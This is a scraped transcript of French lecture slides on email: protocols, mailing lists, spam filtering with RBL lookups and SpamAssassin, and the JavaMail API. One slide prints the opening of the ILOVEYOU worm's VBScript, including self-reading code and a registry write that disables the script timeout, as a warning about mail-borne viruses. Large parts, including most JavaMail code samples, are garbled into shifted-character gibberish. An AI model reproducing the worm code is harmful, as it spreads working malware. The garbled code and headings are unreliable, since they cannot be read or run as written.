le courrier électronique (email, lidies, javamail …)

58
Le Courrier électronique (Email, Lidies, JavaMail …) KWWSZZZDGHOHLPDJIUaGRQVH]FRXUV Didier DONSEZ Université Joseph Fourier (Grenoble 1) IMA – LSR/ADELE ’LGLHU’RQVH]#LPDJIU’LGLHU’RQVH]#LHHHRUJ

Upload: others

Post on 22-Jan-2022

3 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Le Courrier électronique (Email, Lidies, JavaMail …)

Le Courrier électronique(Email, Lidies, JavaMail …)

KWWS���ZZZ�DGHOH�LPDJ�IU�aGRQVH]�FRXUV

Didier DONSEZUniversité Joseph Fourier (Grenoble 1)

IMA – LSR/ADELE'LGLHU�'RQVH]#LPDJ�IU��'LGLHU�'RQVH]#LHHH�RUJ

Page 2: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

3

Le Email

n OH�PDLO�F ¶HVW�OH�VHUYLFH�OH�SOXV�XWLOLVp• ����PLOOLRQV�GH PDLOER[ HQ�(XURSH����������

45,7

37,7

5,8 4,6 2,8 1,6 0,40

5

10

15

20

25

30

35

40

45

50

E-M

ail

Web

Cha

rgem

ent

For

um

Cha

t

List

e de

Diff

usio

n

Tél

épho

ne/V

isio

Page 3: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

4

Le Courrier Electronique (E-Mail)

n Rappel• coût de traitement d ’un courrier papier : 90 $

n Transposition de la correspondance papier• Rédaction

• Destinataire (s)Adresse E-Mail : un nom d ’utilisateur sur une machine ou dans un domaine

(DNS)» [email protected]

» [email protected]

» [email protected]

• Expéditeur• Sujet• Corps du Message

du texte (7 bits ou MIME)• Fichiers attachés (MultiPart) (.jpg, .htm, .pdf, .ps, .tex, .doc, .vbs)

Page 4: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU�'RQVH]�������������/H�FRXUULHU�pOHFWURQLTXH

5

Les outils : Lecture et Rédaction

Page 5: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

6

Compléments

n Outils Complémentaires• Carnet d ’Adresse• Alias (Nickname)• Signature• Attachement de Document• Réponse (Reply), Réroutage (Forward)• Boites de Classement et Filtrage

n Notions associés• Free-Email (Hotmail, Vcmail, …)• Listes de diffusion (Mailing lists)

Page 6: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

7

Attachement de Document

n Documents Ajoutés au courrier• Format Mime-Multipart

• Texte +/- HTML, Carte (vbc)• Autres documents : Courrier Forwardé, Logo, …

n Attention :• Propagation des Virus ou Ver (:RUP) par le Mail• MELISSA, ILOVEYOU, MOTHERDAY...

Page 7: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

8

Propagation des Virus par le Mail 0

• MELISSA.DOC, LOVE-LETTER-FOR-YOU.VBS, www.myparty.yahoo.comDocument attaché contenant des exécutables (.EXE,.COM ...), des scripts (.VBS),

des macros (.DOC, .XLS) attaquant la station et envoyant le virus (ou ver ZRUP) aux adresses présentes dans le carnet d ’adresse.

L ’activation est automatique (MS Outlook) ou explicite (NS, Eudora, …)

• Que faire ?• Ne jamais ouvrir ce type de fichiers même s ’ il vient d ’ un copain (usurpation

d ’ identité).

n Ex: LOVE-LETTER-FOR-YOU.VBS • 1 semaine de programmation => 35 G$ de dégât estimé

rem barok -loveletter(vbe) <i hate go to school>rem by: spyder / [email protected] / @GRAMMERSoft Group / Manila,PhilippinesOn Error Resume Nextdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,doweq=""ctr=0Set fso = CreateObject("Scripting.FileSystemObject")set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject("WScript.Shell")rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")if (rr>=1) thenwscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout",0,"REG_DWORD"end if

Page 8: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

9

Propagation des Virus par le Mail

n LOVE-LETTER-FOR-YOU.VBS • 1 semaine plus tard = > des dizaines de variantes qui

circulaient malgré les anti-virus !!!!!! (IIHW�FDPpOpRQsujet "New Variation on LOVEBUG Update Anti-Virus!!"pièce attachée = "antivirusupdate.vbs"sujet "Dangerous Virus Warning"pièce attachée "virus_warning.jpg.vbs"sujet "Important ! Read carefully !!"pièce attachée "IMPORTANT.TXT.vbs"sujet "LOOK!"pièce attachée "look.vbs"sujet "Variant Test"pièce attachée "IMPORTANT.TXT.vbs"…

Page 9: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

10

Boites de Classement et Filtrage

n Rangement des courriers reçus• manuel ou automatique

n Filtrage• action sur un courrier

par rapport à un critère

Page 10: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

11

Free Email

n Free-Email• Boite à lettre fournie gratuitement

• en dehors de votre prestataire ou votre entreprise• moyennant quelques « pubs »

ou la constitution d ’ un fichier• accès par POP ou par interface Web (HTTP)

• Exemples : HotMail, VCMail, Yahoo, lemel …

Page 11: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

12

Protocoles d ’échange de E-Mail

n Entités• MTA : Mail Transport Agent• MUA : Mail User Agent

n OSI• X400 : service de courrier électronique de l ’ architecture OSI

• Complexe !!!

n TCP/IP• de MTA à MTA et de MUA à MTA

• SMTP �6LPSOH�0DLO�7UDQIHUW�3URWRFRO�• de MTA à MUA

• POP3 3RVW�2IILFH 3URWRFRO (RFC1939, port 110)DVVH]�VLPSOH

• IMAP4 (RFC 1730, port 143)JHVWLRQ�GH�IROGHU�VXU�OH�VHUYHXUIRQFWLRQV�GH�UHFKHUFKH�GH�FRXUULHU�VXU�OH�VHUYHXU�����

Page 12: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

13

Protocoles d ’échange de E-MailSMTP et POP3/IMAP4

• SMTP : de serveur à serveur (MTA : Mail Transport Agent)• POP, IMAP : de serveur au client (MUA : Mail User Agent)

• (XGRUD� 1HWVFDSH�0HVVHQJHU������VXU�3&• (ULFVVRQ�5���� 3VLRQ��3DOP��«

MTASMTP

/var/spool/mail/donsez(un fichier boite à lettre)

ServeurPOP

(ou IMAP)MTASMTP

MTASMTP

mail.lifl.fr

uvhc.fr

titan.uvhc.fr

mac11.lifl.fr

pc4.uvhc.fr

7R�GRQVH]#XYKF�IU

6073

60736073

323�,0$3�

Page 13: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU�'RQVH]�������������/H�FRXUULHU�pOHFWURQLTXH

14

SM

TP 6LPSOH�0DLO7UDQIHUW�3URWRFRO

Page 14: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

15

POP3 3RVW�2IILFH 3URWRFRO

n RFC 1939n Protocole simple de récupération d’email

• sur un MTA par un MUA

n Simple car• Stockage, Organisation et Recherche

sont effectués sur le MUA

Page 15: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

16

IMAP4

n RFC 2060• TCP port 143

n Protocole étendu de gestion des emails• Fonctionnement en mode sessionnel• Replicas de boites entre plusieurs MTA et MUA• Filtrage, Recherche, Tri coté serveur• Gestion des attachements MIME coté serveur

• Envoi des entêtes de mails seuls vers les MUA par exemple, …• Organisation hiérarchique des boites• Boites partagées ([email protected])

n Web IMAP Client• IMP, MailSpinner, SilkyMail, EMU, WING

n IMAP Serveur• Cyrus, Univ of Washington, MicroSoft, Netscape, Apache JAMES, …

Page 16: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

17

MTQP 0HVVDJH�7UDFNLQJ�4XHU\�3URWRFROn Actuellement

• DSN (Delevery Status Notification) et MSN (Message Status Notification) lorsque le message est arrivé au destinataire

n Objectifs• Verifier et tracer les livraisons de e-mail

n Protocole

n Statut : soumission IETF• http://www.ietf.org/internet-drafts/draft-ietf-msgtrk-mtqp-02.txt

0DLO&OLHQW

0DLO&OLHQW

0DLO6HUYHU

0DLO7UDFNLQJ6HUYHU

6073

07430743

0743 0743

Mail messageMessage ID

Encrypted Password

Message IDPassword

Message IDPassword Message Status

Message Status

Page 17: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

18

Mail watching

n Vérifier et filtrer les mails émisdepuis une organisation par ses membres

• Information non divulgable• Pièces jointes lourdes

• Compression, chiffrage automatique, …

Page 18: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

19

Les Forums (NewsGroup)

n Forums de Discussion• Lecture / Poster de courriers• Forum avec/sans Modération• Nommage hiérarchique

par thème• alt.*, comp.security• comp.databases.oracle• fr.comp.*, nord-pdc.divers

• Souscription

n Forum public : USENETn Indexation : DejaNews

• 500M d’ articles de 1995 à 2001 indexés

n Protocole : NMTP

Page 19: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU�'RQVH]�������������/H�FRXUULHU�pOHFWURQLTXH

20

La Souscription aux N

ewsgroups

Page 20: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

21

Serveurs de Mail

n Rôle : MTAn Protocoles : SMTP, POP3, IMAP4n Produits libres ou non

• sendmaild• Netscape, MS, …• Apache JAMES

• Écrit en Java

Page 21: Le Courrier électronique (Email, Lidies, JavaMail …)

Listes de Diffusion(0DLOLQJ /LVWV��© /LGLHV ª)

Page 22: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

23

Listes de Diffusion (Mailing Lists)

n Liste de e-mail d ’internaute• Moyen de pousser (SXVK) de l ’ information

vers ces boîtes à lettre• Newletters (ZDNet, JDC, ...), Groupes d ’ intérêt, ...

n Outils de gestion et serveurs de listes de diffusion• Outils

• listserv, majordomo, …• Serveurs publics de mailing list

• www.egroups.com• Fonctionnalités

• postage autorisé, modéré ou interdit• subscribe/unsubscribe

Page 23: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

24

Listes de Diffusion (Mailing Lists)

nConstitution des Listes• à partir des fichiers clients • des usagers qui se sont enregistrés sur le site

• Attention ! l ’ usager doit donner son accord pour recevoir des mails• Attention ! l ’ usager doit pouvoir se désabonner d ’ une mailing list

les mails diffusés doivent toujours contenir un lien « Unscribe » pour le désabonnement de la mailing list

• adresses mail présentes dans les pages Web d ’ un site• achat de fichiers

nUsages• Newletters, Push Marketing, SPAMMING …

• les messages contiennent des liens qui peuvent être suivis et tracés

Page 24: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

25

Listes de Diffusion (Mailing Lists)

n Obligations• L ’ utilisateur doit pouvoir demander

à ne pas recevoir de mails• l ’ utilisateur doit pouvoir se désabonner• SDV�WRXMRXUV�UHVSHFWHU�� FI 9LH�3ULYpH���3ULYDF\

n Problème des diffusions larges et non ciblées• l ’ utilisation rejette la liste et tente de se désabonner• Solution : le gestionnaire de la liste doit limiter la fréquence

des envois et cibler les messages en fonction des profils d ’ intérêt des récepteurs (personnalisation du message)

Page 25: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

26

Mettre en œuvreune liste de diffusion �© OLGLH ª�n Usages

• Diffuser d ’ informations• Discuter en projet• Echange de questions/réponses

n Acteurs• Abonné• Administrateur de la liste (postmaster)• Modérateur, Modérateur délégué

n Alternatives• Newsgroup

Page 26: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

27

Mettre en œuvreune liste de diffusion �© OLGLH ª�n Choix du MLM �PDLOLQJ OLVW�PDQDJHU�

• gestionnaire de mailing list (freeware/payant)• aliases de sendmail, Majordomo, ListServ, SmartList, ListProc, Qmail,

Bulk-Mail … sur Unix ou WNT

n Fonctionnalités des MLM• Traitement automatique et des demandes d ’ abonnement/de

désabonnement (modération)• Gestion des retours de message (suppression des abonnés disparus,

reply automatique, vacancy, …)• Gestion des listes modérés• Distribution des condensés• Archivage des courriers et des condensés

Page 27: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

28

Mettre en œuvreune liste de diffusion

n Archivage des mails et des condensés• Rédaction de FAQ (Frequently Asked Question)• Interrogation hypertextuelle de l ’ archive

HyperMail, MHonArc, ListWebber, EyeBrowse(http://eyebrowse.tigris.org/) ...

n Condensé• But : limiter l ’ accroissement des courriers provenant d ’ une

lidieDe Facto (RFC934), Standard (RFC934), MIME (RFC2043)

Page 28: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

29

Mettre en œuvreune liste de diffusion

n Architectures de MLM• Ventilateurs de liste

• hiérarchisation des serveurs de diffusions

• Listes passerelles• Passerelle vers Usenet (Newsgroup)

n Problème des Listes volumineuses

Page 29: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

30

Ventilateurs de liste

[email protected]

[email protected]

[email protected] $ERQQpVDXVWUDOLHQV$ERQQpVIUDQoDLV

Page 30: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

31

Listes passerelles

FXVWRPHU#P\FRPS�FR�MS

FXVWRPHU#P\FRPS�IU

FXVWRPHU#P\FRPS�FR�DX $ERQQpVDXVWUDOLHQV

$ERQQpVIUDQoDLV

$ERQQpVMDSRQDLV

Page 31: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

32

NewLetter

n Envoi (ciblé) de courriersvers la clientèle, vers des abonnés, …

• Chaque courrier contient des liens paramêtrés

n Mesure/Analyse des retours de clicks• Rapport d’ audience• Offre Oracle ClickStream

• http://otn.oracle.com/products/clickstream

• Externalisation• Emailvision, …

Page 32: Le Courrier électronique (Email, Lidies, JavaMail …)

Spamminget Listes de Diffusion

Page 33: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

34

Définition : Spam

n Problème : le spamming• SPAM : Shoulder of Pork and hAM

• diffusion large et non ciblée• non respect de la règle de désabonnement

n Définition• $Q�HOHFWURQLF PHVVDJH LV �VSDP�• ,)����� WKH�UHFLSLHQWV�SHUVRQDO�LGHQWLW\�DQG�FRQWH[W DUHLUUHOHYDQW EHFDXVH WKH PHVVDJH LV�HTXDOO\ DSSOLFDEOH�WR PDQ\�RWKHU�SRWHQWLDO�UHFLSLHQWV�

• $1'���� WKH�UHFLSLHQW KDV�QRW YHULILDEO\�JUDQWHG�GHOLEHUDWH�H[SOLFLW� DQG�VWLOO�UHYRFDEOH SHUPLVVLRQ�IRU LW WR EH VHQW�

• $1'���� WKH WUDQVPLVVLRQ DQG�UHFHSWLRQ RI WKH PHVVDJHDSSHDUV WR WKH�UHFLSLHQW WR JLYH D GLVSURSRUWLRQDWH�EHQHILW WR�WKH VHQGHU��

Page 34: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

35

Spamming

n Comment opèrent les spammers ?• Collectionnent les adresses trouvées dans les pages Web !• Utilisent des MTA configurés en Open Relay

pour ne pas se faire repérer comme un spammer• Utilisent des comptes email (free) Yahoo, … pour le reply

n Risque :• votre MTA peut être référencé comme un spammer

et être banni

Page 35: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

36

La lutte

n La lutte contre les spammers• Ne pas relayer les spammers (et Open Relay)

• consulter les listes de rejet RBL

• Relayer seulement les usagers de votre LANou les usagers authentifiés

• Empécher les spammers de glaner des adresses maildans votre site Web• mod_access_rbl pout Apache

Final-Recipient: rfc822; [email protected]: failedStatus: 5.1.1Remote-MTA: dns; mailasia-com.mr.outblaze.comDiagnostic-Code: smtp; 550 5.0.0 �IGKVFV#PDLODVLD�FRP!��� 6SDPPHU�'HOHWHG ��-DQ��Last-Attempt-Date: Wed, 31 May 2000 11:05:24 +0100 (WET DST)

Page 36: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

37

Liste de rejet RBL

n Liste de rejet RBL (Realtime Blackhole List)• MAPS RBL (Mail Abuse Prevention System)• les adresses IP des spammers et OR sont

dans le DN de mail-abuse.org• Consultation (sera caché par votre DNS) avec

• nslookup <ipspammer>.blackholes.mail-abuse.org

• nslookup 2.0.0.127.blackholes.mail-abuse.org pour les tests

n Info sur http://mail-abuse.org

Page 37: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

38

Filtrage des SPAM

n Technique• Analyse du contenu• Attribution d’ un score

• au moyen d’ un réseau bayesien par exemple

n Plusieurs filtreurs open-sources• Bogofilter, CRM114, Mozilla, POPFile, Sherpa,

SpamAssasin, Spambayes, Squirrelmail

n Voir IEEE Spectrum, August 2003, pp 40-44

Page 38: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

39

Filtrage des Spam

n Ex: http://spamassassin.org/SPAM: -------------------- Start SpamAssassin results ----------------------SPAM: This mail is probably spam. Theoriginal message has beenalteredSPAM: so you can recogniseor block similar unwantedmail in future.SPAM: Seehttp://spamassassin.org/tag/ for moredetails.SPAM: SPAM: Content analysis details: (29.80 hits, 5 required)SPAM: SUBJECT_FREQ (-1.9 points) Subject contains a frequency - probable newsletterSPAM: FROM_HAS_MIXED_NUMS (-0.9 points) From: contains numbers mixed inwith lettersSPAM: NO_REAL_NAME (-0.3 points) From: does not include a real nameSPAM: MIME_ODD_CASE (3.5 points) MiME-Versionheader (oddly capitalized)SPAM: INVALID_MSGID (1.2 points) Message-Id is not valid, according to RFC 2822SPAM: HOME_EMPLOYMENT (2.9 points) BODY: Information on how towork at home (2)SPAM: FREE_MEMBERSHIP (2.8 points) BODY: FreeMembershipSPAM: NO_COST (2.7 points) BODY: Nosuch thingas a free lunch (3)SPAM: REMOVE_IN_QUOTES (2.1 points) BODY: List removal informationSPAM: EXCUSE_3 (1.9 points) BODY: Claims you can be removed from the listSPAM: REMOVE_SUBJ (1.7 points) BODY: List removal informationSPAM: REMOVAL_INSTRUCTIONS (1.7 points) BODY: Gives instructions for removal from listSPAM: NO_OBLIGATION (1.5 points) BODY: There is no obligation.

Page 39: Le Courrier électronique (Email, Lidies, JavaMail …)

L ’API JavaMail

Page 40: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

41

L ’API JavaMail http://java.sun.com/products/javamail

n Package javax.mail.*• pour composer et décomposer des emails• pour stocker et retrouver les emails organisés dans des dossiers• pour les transporter

• utilise Java Activation Framework (JAF).

n Architecture

Applications, Applets, Servlets, BeansApplications, Applets, Servlets, Beans

JavaMail Abstract Layerjavax.mail

JavaMail Abstract Layerjavax.mail

SMTP, POP3, IMAP4, NNTP ...SMTP, POP3, IMAP4, NNTP ...

Internet Layerjavax.mail.internetInternet Layer

javax.mail.internet

Page 41: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

42

L ’API JavaMail/HV�FODVVHV�n Couche d ’abstraction

• indépendantes des protocoles (i.e. Provider)utilisés (SMTP,POP, IMAP, ...)

Page 42: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

43

L ’API JavaMail /HV�FODVVHV

• FODVV MDYD[�PDLO�6HVVLRQ• est le point d ’ entrée qui charge le Mail SPI désiré

• FODVV MDYD[�PDLO�0HVVDJH• représente un message (ASCII 7bit « RFC822 », MIME « RFC 2047 », …)

• FODVV MDYD[�PDLO�6WRUH• représente la base des messages (organisés en Folders)

groupé par propriétaire (owner) sur le serveur de mail.

• FODVV MDYD[�PDLO�)ROGHU• représente l ’ organisation hierarchique des messages stochés.

• FODVV MDYD[�PDLO�7UDQVSRUW• représente le protocole utilisé pour l ’ envoi des messages

Page 43: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

44

JavaMail([HPSOHnOuvrir une session

3URSHUWLHV�SURSV �QHZ 3URSHUWLHV���SURSV�SXW��PDLO�VPWS�KRVW���BVPWS+RVW��6HVVLRQ�VHVVLRQ� �6HVVLRQ�JHW'HIDXOW,QVWDQFH�SURSV� QXOO��

nCréer un message0HVVDJH�PVJ �QHZ 0LPH0HVVDJH�VHVVLRQ��PVJ�VHW)URP�QHZ ,QWHUQHW$GGUHVV��6DQWD&ODXV#FKULVPDV�RUJ����PVJ�VHW5HFLSLHQW�0HVVDJH�5HFLSLHQW7\SH�72��QHZ ,QWHUQHW$GGUHVV�BWR/LVW���PVJ�VHW6XEMHFW���+DSS\ &KULVPDV���PVJ�VHW7H[W�� 'HDU ��HPDLODGGUHVV��?Q+DSS\�&KULVPDV ����

nEnvoyer un message7UDQVSRUW�WUDQVSRUW� �VHVVLRQ�JHW7UDQVSRUW�6073B0$,/��WUDQVSRUW�FRQQHFW�BVPWS+RVW��BXVHU��BSDVVZRUG��WUDQVSRUW�VHQG0HVVDJH�PVJ ��BWR/LVW��

Page 44: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU�'RQVH]�������������/H�FRXUULHU�pOHFWURQLTXH

45

JavaMail

/HV�0HVVDJHV

Page 45: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

46

JavaMail([HPSOHn Création d ’un message0LPH0HVVDJH�FUHDWH0HVVDJH��6HVVLRQ�VHVVLRQ��6WULQJ�HPDLODGGUHVV��^

0LPH0HVVDJH�PVJ �QHZ 0LPH0HVVDJH��VHVVLRQ��PVJ�VHW)URP��6DQWD&ODXV���PVJ�VHW6XEMHFW���+DSS\�&KULVPDV���,QWHUQHW$GGUHVV D� �QHZ ,QWHUQHW$GGUHVV�HPDLODGGUHVV��PVJ�VHW5HFLSLHQW�0HVVDJH�5HFLSLHQW7\SH�72��D��PVJ� VHW7H[W���'HDU ��HPDLODGGUHVV��?Q+DSS\ &KULVPDV ����UHWXUQ PVJ�

`

Page 46: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

48

JavaMail([HPSOHn Creation d ’un message multipart0LPH0HVVDJH�FUHDWH0XOWLSDUW0HVVDJH�6HVVLRQ�VHVVLRQ��^

0LPH0HVVDJH�PVJ �QHZ 0LPH0HVVDJH��VHVVLRQ��������0LPH%RG\3DUW ES�� �QHZ 0LPH%RG\3DUW���ES�� VHW7H[W�� %RG\SDUW ����0LPH%RG\3DUW ES�� �QHZ 0LPH%RG\3DUW���ES�� VHW7H[W�� %RG\SDUW ����0LPH0XOWLSDUW�PS �QHZ 0LPH0XOWLSDUW��PS� DGG%RG\3DUW��ES���PS� DGG%RG\3DUW��ES���PVJ� VHW&RQWHQW� PS��UHWXUQ PVJ�

`

Page 47: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

49

JavaMail([HPSOHn Affichage d ’un messageYRLG�GLVSOD\0HVVDJH��0HVVDJH�PVJ��^

SULQW6WULQJ��PVJ�JHW6XEMHFW�����SULQW$GGUHVV��PVJ�JHW)URP�����GLVSOD\3DUW��PVJ��

`YRLG�GLVSOD\3DUW��3DUW�S��^

SULQW6WULQJ��S� JHW&RQWHQW7\SH����LI��S� LV0LPH7\SH�� PXOWLSDUW� ����^

0XOWLSDUW�PS �S� JHW&RQWHQW���IRU��LQW L� ����L�� PS� JHW&RXQW����L���

GLVSOD\3DUW� PS� JHW%RG\3DUW��L��������5pFXUVLI`�HOVH ^

,QSXW6WUHDP�LV �S� JHW,QSXW6WUHDP��� SULQW6WUHDP�LV��`�`

Page 48: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU�'RQVH]�������������/H�FRXUULHU�pOHFWURQLTXH

50

JavaMail

/HV�)ROGHUV

Page 49: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

51

JavaMail([HPSOHnConsultation des messages d ’un dossierYRLG�IHWFK0HVVDJH��6HVVLRQ�VHVVLRQ��85/1DPH XUO1DPH��6WULQJ IROGHUQDPH��^6WRUH�VWRUH� �VHVVLRQ� JHW6WRUH�XUO1DPH�� VWRUH� FRQQHFW���)ROGHU�IROGHU �VWRUH� JHW)ROGHU�IROGHUQDPH��IROGHU��RSHQ� )ROGHU��5($'B�21/<��LQW FRXQW� IROGHU� JHW0HVVDJH&RXQW���IRU��LQW L� ����L�� �FRXQW��L����^0HVVDJH�PVJ IROGHU�JHW0HVVDJH��L�� GLVSOD\0HVVDJH� PVJ��`IROGHU��FORVH� IDOVH���VWRUH��FORVH���`����85/1DPH XUO �QHZ�85/1DPH��SRS�����SRS�P\LVS�FRP������������XVHU� SDVVZRUG��IHWFK0HVVDJH�VHVVLRQ� XUO���,1%2;���

Page 50: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

52

JavaMail([HPSOHnEffacement des messages d ’un dossierYRLG�GHOHWH0HVVDJH��6HVVLRQ�VHVVLRQ��85/1DPH XUO1DPH���^

6WRUH�VWRUH� �VHVVLRQ�JHW6WRUH�XUO1DPH��VWRUH�FRQQHFW���)ROGHU�LQER[ �VWRUH�JHW)ROGHU��'5$)7���LQER[�RSHQ�)ROGHU�5($'B:5,7(�LQW FRXQW� LQER[�JHW0HVVDJH&RXQW���IRU�LQW L� ���L�� �FRXQW�L����^ 0HVVDJH�P� LQER[�JHW0HVVDJH�L��

P�VHW)ODJ�)ODJV�)ODJ�'(/(7('�WUXH��`LQER[�H[SXQJH���LQER[�FORVH�WUXH��VWRUH�FORVH���

`�

Page 51: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

53

JavaMail([HPSOHn Recherche de messages sur le serveur// public Message[] Folder.search(SearchTerm term)SearchTerm term=newAndTerm(newSubjectTerm("Deadline"),

newFromTerm("Manager"));Message[] msgs=folder.search(term);

Page 52: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

54

JavaMail([HPSOHnRécupération du contenu partiel

des messages sur le serveurMessage[] messages = folder.getMessages();FetchProfile fp= newFetchProfile();fp.add(FetchProfile.Item.ENVELOPE);

// principaux attributsFrom, To, Cc, Bcc, Reply-To, Subject, SentDate.

fp.add(FetchProfile.Item.FLAGS);// ANSWERED, DELETED, DRAFT, FLAGGED, RECENT, SEEN, USER.

fp.add("X-Mailer");folder.fetch(messages, fp);

Page 53: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

